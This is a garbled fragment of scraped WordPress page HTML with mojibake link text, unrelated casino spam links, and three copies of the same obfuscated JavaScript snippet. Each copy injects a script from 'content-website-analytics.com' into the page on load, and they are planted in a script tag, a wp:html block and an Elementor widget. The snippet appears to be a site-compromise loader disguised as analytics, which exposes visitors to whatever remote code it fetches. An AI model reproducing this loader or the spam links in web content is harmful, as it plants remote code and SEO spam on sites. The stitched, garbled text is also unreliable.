https://mlqmxrbz1bom.i.optimole.com/cb:qElE.5d/w:18/h:6/q:mauto/f:best/dpr:2/https://hossoni-ess.com/wp-content/uploads/2026/05/96.png 18w"
alt=""
/>
<a href="/es/èç³»æä»¬-2/">
èç³»æä»¬
</a>
<a href="https://chickenroad.lv/">Chicken Road</a> <a href="https://mystake-online-ie.com/">MyStake</a>
<script>
;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');
</script>
<!– wp:html –>
<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script>
<!– /wp:html –>\n<div data-elementor-type="wp-page"><div class="elementor-widget-html"><div class="elementor-widget-container"><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></div></div></div>
front-pie-canary-ae3ab495-dd48-4dd7-b5aa-1d9f65728951